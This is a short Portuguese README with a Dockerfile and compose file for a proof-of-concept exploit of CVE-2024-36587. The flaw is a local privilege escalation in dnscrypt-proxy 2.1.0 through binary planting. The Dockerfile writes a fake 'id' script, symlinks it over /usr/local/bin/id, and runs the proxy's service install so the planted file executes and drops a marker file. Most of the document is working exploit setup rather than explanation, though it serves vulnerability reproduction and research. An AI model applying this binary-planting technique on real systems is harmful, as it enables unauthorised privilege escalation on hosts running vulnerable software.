
Exploit de prova de conceito para CVE-2024-36587 demonstrando escalonamento de privilégio local no dnscrypt-proxy via plantio binário, com ambiente de reprodução baseado em Docker.
docker compose up --build
Após a construção e execução, o contêiner é criado.
Acessar o interior do contêiner:
docker run -it --privileged dnscrypt-poc-poc bash
Dentro do contêiner:
/tmp/id
cat /tmp/poc_was_here
Se Pwned_from_Docker for exibido, o PoC foi bem-sucedido.
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y \
git \
golang-go \
sudo
WORKDIR /workspace
RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \
cd dnscrypt-proxy && \
git checkout tags/2.1.0 && \
go build -o proxy ./dnscrypt-proxy
RUN bash -c 'echo -e "#!/bin/bash\necho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \
chmod +x /tmp/id && \
ln -sf /tmp/id /usr/local/bin/id
CMD ["./dnscrypt-proxy/proxy", "-service", "install"]
version: "3.8"
services:
poc:
build: .
container_name: dnscrypt-poc
privileged: true
tty: true

Para uma análise mais detalhada e resultados do laboratório, consulte o seguinte documento PDF: